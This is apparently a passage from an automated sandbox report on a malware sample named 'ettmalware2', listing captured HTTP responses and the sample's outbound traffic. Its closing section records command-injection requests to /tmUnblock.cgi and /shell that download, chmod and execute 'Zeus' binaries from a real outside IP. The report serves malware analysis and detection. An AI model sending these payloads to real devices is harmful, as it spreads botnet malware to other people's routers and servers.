Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:39:57 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:40:00 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: styxDate: Wed, 09 Mar 2022 13:40:03 GMTContent-Type: text/htmlContent-Length: 161Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 79 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>styx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: styxDate: Wed, 09 Mar 2022 13:40:03 GMTContent-Type: text/htmlContent-Length: 161Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 79 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>styx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:40:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:40:19 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.12.0Date: Wed, 09 Mar 2022 13:40:43 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Wed, 09 Mar 2022 13:40:24 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Mar 2022 13:40:26 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Wed, 09 Mar 2022 13:40:26 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:40:28 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:40:28 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:40:33 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:40:33 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:40:33 GMTServer: Apache/2.2.22 (Ubuntu)Vary: Accept-EncodingContent-Length: 278Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.22 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:40:36 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.12.2Date: Wed, 09 Mar 2022 13:40:40 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: httpdDate: Wed, 09 Mar 2022 05:40:40 GMTContent-Type: text/htmlConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:40:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: ettmalware2	String found in binary or memory: http://107.172.157.131/bins/Zeus.mpsl;
Source: ettmalware2	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ettmalware2	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
